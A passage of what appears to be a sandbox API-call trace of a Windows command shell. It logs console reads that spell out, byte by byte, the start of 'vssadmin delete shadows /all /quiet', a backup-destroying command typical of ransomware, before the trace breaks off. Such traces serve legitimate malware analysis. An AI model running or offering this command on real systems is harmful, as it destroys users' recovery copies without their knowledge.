BaseAddress=0x1e06dd19100) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd184e0) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18250) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18420) returned 1 [0280.042] _vsnwprintf (in: _Buffer=0x7ff790a87f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x76e48ff3d8 | out: _Buffer="\r\n") returned 2 [0280.042] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.042] GetFileType (hFile=0x254) returned 0x3 [0280.042] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.042] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0280.042] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x76e48ff3a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff3a8*=0x2, lpOverlapped=0x0) returned 1 [0280.042] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0280.042] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e06de10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0280.042] _vsnwprintf (in: _Buffer=0x1e06de20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x76e48ff3e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0280.042] _vsnwprintf (in: _Buffer=0x1e06de20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x76e48ff3e8 | out: _Buffer=">") returned 1 [0280.042] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.042] GetFileType (hFile=0x254) returned 0x3 [0280.042] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.043] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0280.043] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x76e48ff3d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff3d8*=0x14, lpOverlapped=0x0) returned 1 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] GetFileType (hFile=0x248) returned 0x3 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.043] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.043] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.043] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.043] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.043] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.043] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.043] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.043] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.043] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.043] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.043] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.043] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0280.043] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.043] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.044] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.044] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0280.044] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.044] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.044] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.044] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0280.044] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.044] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.044] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.044] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0280.044] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.044] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.044] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.044] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0280.044] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.044] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.044] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.044] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0280.044] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.044] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.044] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.044] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0280.044] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.044] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.044] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.044] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0280.044] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.045] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.045] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.045] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0280.045] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.045] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.045] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.045] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0280.045] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.045] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.045] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.045] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0280.045] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.045] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.045] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.045] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0280.045] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.045] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.045] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.045] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0280.045] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.045] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.045] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.045] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0280.045] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.045] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.045] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.046] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0280.046] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.046] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.046] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.046] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0280.046] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.046] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.046] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.046] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0280.046] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.046] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.046] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.046] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0280.046] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.046] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.046] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.046] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0280.046] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.046] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.046] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.046] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0280.046] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.046] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.046] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.046] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0280.046] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.046] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.047] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.178] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0280.178] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.178] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.178] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.178] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0280.178] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.178] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.178] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.178] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0280.178] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.178] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.178] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.178] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0280.178] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.178] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.178] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.178] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0280.178] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.178] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.178] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.178] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0280.178] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.178] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.179] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.179] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0280.179] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.179] SetFilePointer (in: 